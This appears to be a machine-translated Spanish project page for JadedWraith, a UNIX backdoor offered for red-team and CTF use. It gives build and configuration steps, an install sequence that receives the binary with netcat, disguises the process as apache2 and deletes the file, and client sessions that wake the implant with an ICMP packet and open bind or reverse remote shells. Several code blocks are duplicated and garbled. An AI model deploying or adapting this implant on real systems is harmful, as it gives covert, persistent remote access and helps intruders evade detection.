JadedWraith: puerta trasera UNIX ligera

Encienda la puerta trasera de UNIX para piratería ética. Útil para compromisos del Equipo Rojo y CTF. Algo que escribí hace unos años como parte de un juego que jugué con un amigo que intentaba abrir tantas máquinas virtuales en los laboratorios de los demás sin que nos atraparan o sin que nuestras herramientas se corrigieran o se firmaran.

caracteristicas

JadedWraith es una poderosa puerta trasera que puede escuchar en un puerto TCP o rastrear paquetes en busca de un paquete ICMP «mágico» que le indique a la puerta trasera que llame o escuche. Esto está parcialmente inspirado en herramientas como PRISM, pero a diferencia de PRISM, JadedWraith usa una criptografía descuidada para ocultar el comando y el control. JadedWraith se puede utilizar para ejecutar comandos remotos o cargar cargas útiles de seguimiento.

JadedWraith se puede compilar como un ejecutable independiente o como un objeto compartido para la inyección de procesos.

Componentes

El código fuente del implante real se puede encontrar en el src Directorio. client contiene un cliente simple basado en Python para interactuar con JadedWraith. los conf_jawr El script se utiliza para configurar nuevos ejecutables de JadedWraith.

Dependencias

El implante requiere una biblioteca C moderna y un libpthread. Dependiendo del sistema operativo de destino, es posible que se requiera libpcap (en cuyo caso necesitará el ./configure Guión con –use-libpcap para habilitar la compatibilidad con libpcap).

El script de configuración de Python y el cliente necesitan los siguientes paquetes para funcionar: termcolor, pycryptodomex

Cómo compilar

Solo usa el Makefile compilar. Nota: Los binarios resultantes en bin deben configurarse antes de que puedan utilizarse.

$ ./configure$ make$ ls -lart bin-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf

Cómo configurar

Utilizar el conf_jawr Script para configurar archivos ejecutables JadedWraith. Esta siendo buscado bin Directorio de archivos ejecutables JadedWraith para la configuración. El archivo binario configurado se guarda en el configured Directorio.

-k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell «>

$ ./conf_jawrJadedWraith ConfigurationPlease choose a JadedWraith binary to use: 1. JadedWraith-2.0.0-Linux-x86_64.elfBinary : 1Shared Key [95454c93c8d5d30a0782da72ade10e29] : Enable passive mode (ICMP wakeup) ? [y/n] yWakeup Password [4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj] : argv[0] (Leave blank to not spoof command) [] : JadedWraith Executable : /tmp/JadedWraith/configured/builds/JadedWraith-2.0.0-Linux-x86_64.1627752415.binTry me!sudo ./wraith-client.py <IP_ADDRESS> -k 95454c93c8d5d30a0782da72ade10e29 -P 4Zw2TTtaIKBcyeoLwd7rrTasRlUF90vSZnLFzn2A4ab018Vj shell

Cómo instalar

Un implante configurado se puede ejecutar simplemente en el sistema de destino. Si está configurado para usar la funcionalidad pasiva de ICMP, debe ejecutarse como root. La variable de entorno _CMD se puede utilizar para falsificar el proceso argv[]

apache2 # chmod +x apache2 # _CMD=»/usr/sbin/apache2″ ./apache2 # rm apache2 «>

# cd /tmp# nc -lvp 4444 > apache2# chmod +x apache2# _CMD="/usr/sbin/apache2" ./apache2# rm apache2

Como interactúas

los wraith-client.py Guión ahí client se puede utilizar para interactuar con JadedWraith. Simplemente invocalo con los argumentos presentados por el conf_jawr Script que reemplaza la IP del objetivo . Si está utilizando la funcionalidad ICMP, la secuencia de comandos debe ejecutarse como root para enviar el paquete ICMP.

sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 192.168.100.224 [*] backdoor will listen on port 58290 [*] connecting to 192.168.100.224:58290 [+] connection established! [*] entering interactive shell >> .cd /tmp >> w 14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23 USER TTY LOGIN@ IDLE JCPU PCPU WHAT >> ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd –switched-root –system –deserialize 31 >> .exit $ sudo ./wraith-client.py 127.0.0.1 –callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell [+] sent ICMP wake up command to 127.0.0.1 [*] backdoor will connect to port 37943 [*] listening on port 37943 [+] accepted connection! [*] entering interactive shell >> «>

$ ~/JadedWraithFork/client> sudo ./wraith-client.py 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell[+] sent ICMP wake up command to 192.168.100.224[*] backdoor will listen on port 58290[*] connecting to 192.168.100.224:58290[+] connection established![*] entering interactive shell>> .cd /tmp >> w14:22:49 up 3:02, 1 user, load average: 0.18, 0.19, 0.23USER TTY [email protected] IDLE JCPU PCPU WHAT>> ps -efUID PID PPID C STIME TTY TIME CMDroot 1 0 0 11:20 ? 00:00:01 /usr/lib/systemd/systemd --switched-root --system --deserialize 31>> .exit$ sudo ./wraith-client.py 127.0.0.1 --callback 192.168.100.224 -k 1deeb4a64440b8d13c84a8eb4e7c4453 -P y00nrnwpwXdvPOXSS6K0r7LelFeCBvKx91Oj0s5BrnLyx1WR shell[+] sent ICMP wake up command to 127.0.0.1[*] backdoor will c onnect to port 37943[*] listening on port 37943[+] accepted connection![*] entering interactive shell>>

falla

Estoy seguro de que esto tiene muchos errores. Avísame si encuentras alguno. He estado escribiendo esto durante un par de días y el código no es lo que más me enorgullece. Siéntase libre de informar cualquier problema e intentaré solucionarlo.